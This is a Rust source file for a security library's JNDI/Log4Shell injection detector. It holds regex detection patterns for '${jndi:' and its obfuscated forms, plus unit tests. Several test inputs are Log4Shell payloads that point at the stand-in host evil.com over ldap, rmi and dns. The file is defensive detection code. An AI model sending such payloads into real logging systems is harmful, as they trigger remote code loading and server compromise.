Skip to main content

security_rust/injection/
jndi_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7/// 强信号:`jndi:` 查找本体,以及只为混淆它而存在的展开写法。
8/// 正常内容里没有「`${jndi:` 后面跟一个查找目标」这种形状。
9/// 4 条分支合并成 1 条 alternation —— `regex_detect` 对列表里每条 `Regex` 各跑一次
10/// `find`,干净输入下 4 次全文扫描变 1 次。分支顺序 = 原 vec 顺序(同一位置上取最左
11/// 分支;与「按列表顺序取第一条命中的模式」相比偏移量可能不同,档位不变)。
12/// 各分支共同的 `(?i)` 提升为外层 `(?i:…)`,作用域正好覆盖全部 4 条分支。
13static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
14    Regex::new(concat!(
15        // 字面量 `${jndi:`(后随 `:`,不是 `${jndi` 这个前缀)
16        r"(?i:\$\{jndi:",
17        // `${lower:j}` / `${upper:j}` / `${::-j}`:单字符大小写折叠与前缀折叠,
18        // 只有「拼出 jndi」这一个用途
19        r"|\$\{lower:j\}",
20        r"|\$\{upper:j\}",
21        r"|\$\{::-j\})",
22    ))
23    .unwrap()
24});
25
26/// 弱信号:`${env:` / `${sys:` / `${java:` 是 log4j2 的**合法** lookup 语法 ——
27/// 它们出现在 log4j2.xml 里(`${env:LOG_DIR}`)、出现在讲 log4j2 配置的文档里,
28/// 也确实是攻击者用来读环境变量的载体。两种形态字节相同,正则分不开,所以报
29/// Low 而不是 Critical:单条不足以触发拒绝,聚合分交给调用方。
30///
31/// 本库的 `log4shell.rs:181` 已经把它们当正常内容(`"${env:JAVA_HOME} 读取环境变量"`
32/// 是 `assert_clean` 的用例,整条 `ignores_benign_inputs` 走真实 `Scanner` 路径也
33/// 全在拒绝线下),这里再判 Critical 是自相矛盾。
34/// 3 条分支合并成 1 条 alternation —— `regex_detect` 对列表里每条 `Regex` 各跑一次
35/// `find`,干净输入下 3 次全文扫描变 1 次。分支顺序 = 原 vec 顺序(同一位置上取最左
36/// 分支;与「按列表顺序取第一条命中的模式」相比偏移量可能不同,档位不变)。
37/// 各分支共同的 `(?i)` 提升为外层 `(?i:…)`,作用域正好覆盖全部 3 条分支。
38static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
39    Regex::new(concat!(
40        r"(?i:\$\{env:",
41        r"|\$\{sys:",
42        r"|\$\{java:)",
43    ))
44    .unwrap()
45});
46
47pub struct JndiInjectionDetector;
48
49impl Detector for JndiInjectionDetector {
50    fn name(&self) -> &'static str {
51        "jndi_injection"
52    }
53
54    fn detect(&self, input: &str) -> Option<DetectionResult> {
55        regex_detect(
56            std::slice::from_ref(&*STRONG_PATTERNS),
57            self.name(),
58            AttackCategory::Injection,
59            Severity::Critical,
60            "JNDI/Log4Shell injection detected",
61            input,
62        )
63        .or_else(|| {
64            regex_detect(
65                std::slice::from_ref(&*WEAK_PATTERNS),
66                self.name(),
67                AttackCategory::Injection,
68                Severity::Low,
69                "log4j lookup syntax present (weak signal)",
70                input,
71            )
72        })
73    }
74}
75
76#[cfg(test)]
77mod tests {
78    use super::*;
79
80    fn det() -> JndiInjectionDetector {
81        JndiInjectionDetector
82    }
83
84    fn assert_hit(input: &str) {
85        crate::test_helpers::assert_detected(
86            &det(),
87            input,
88            AttackCategory::Injection,
89            Severity::Critical,
90        );
91    }
92
93    fn assert_low(input: &str) {
94        crate::test_helpers::assert_detected(
95            &det(),
96            input,
97            AttackCategory::Injection,
98            Severity::Low,
99        );
100    }
101
102    #[test]
103    fn name_is_jndi_injection() {
104        assert_eq!(det().name(), "jndi_injection");
105    }
106
107    #[test]
108    fn detects_common_payloads() {
109        for input in [
110            "${jndi:ldap://evil.com/a}",
111            "${lower:j}ndi:ldap://evil.com/a}",
112            "${upper:j}NDI:rmi://evil.com}",
113            "${::-j}ndi:dns://evil.com}",
114        ] {
115            assert_hit(input);
116        }
117    }
118
119    /// `${env:` / `${sys:` / `${java:` 是 log4j2 的合法 lookup 语法,也是攻击载体 ——
120    /// 两种形态字节相同,所以报 Low:仍然检出,但不单独越过拒绝线。
121    /// 顺带一提,`log4shell.rs` 早已把 `${env:JAVA_HOME}` 当正常内容。
122    #[test]
123    fn lookup_only_tokens_are_low_not_critical() {
124        for input in [
125            // 攻击侧:只用单个 lookup 探环境变量
126            "${env:JNDI_LOOKUP}",
127            "${sys:java.version}",
128            "${java:os.name}",
129            // 正常侧:log4j2 配置文件的合法占位符
130            r#"<Property name="logDir">${env:LOG_DIR}</Property>"#,
131            r#"<Property name="user">${sys:user.home}</Property>"#,
132        ] {
133            assert_low(input);
134        }
135    }
136
137    #[test]
138    fn benign_inputs_not_detected() {
139        for input in [
140            "Hello, this is a normal text input. Nothing suspicious here.",
141            "The jndi lookup service is running",
142            "Please set the JAVA_HOME env variable",
143            "log4j is a logging library",
144        ] {
145            assert!(det().detect(input).is_none(), "false positive: {input}");
146        }
147    }
148
149    #[test]
150    fn edge_cases() {
151        assert!(det().detect("").is_none());
152        assert!(det().detect(" \t\n ").is_none());
153        assert!(det().detect("你好世界 こんにちは").is_none());
154        // near misses: missing ${ prefix or missing colon
155        assert!(det().detect("jndi:ldap://evil.com/a").is_none());
156        assert!(det().detect("${jndi").is_none());
157        assert!(det().detect("${jndildap://evil.com}").is_none());
158    }
159
160    #[test]
161    fn obfuscated_variants_detected() {
162        for input in ["${JNDI:ldap://evil.com/a}", "${LoWeR:j}ndi:ldap://evil.com}"] {
163            assert_hit(input);
164        }
165    }
166
167    /// 大小写变体不改变分档:`${env:…}` 的编码变体也是弱信号。
168    #[test]
169    fn obfuscated_lookup_only_token_is_still_low() {
170        assert_low("${ENV:LOG4J_FORMAT_MSG_NO_LOOKUPS}");
171    }
172}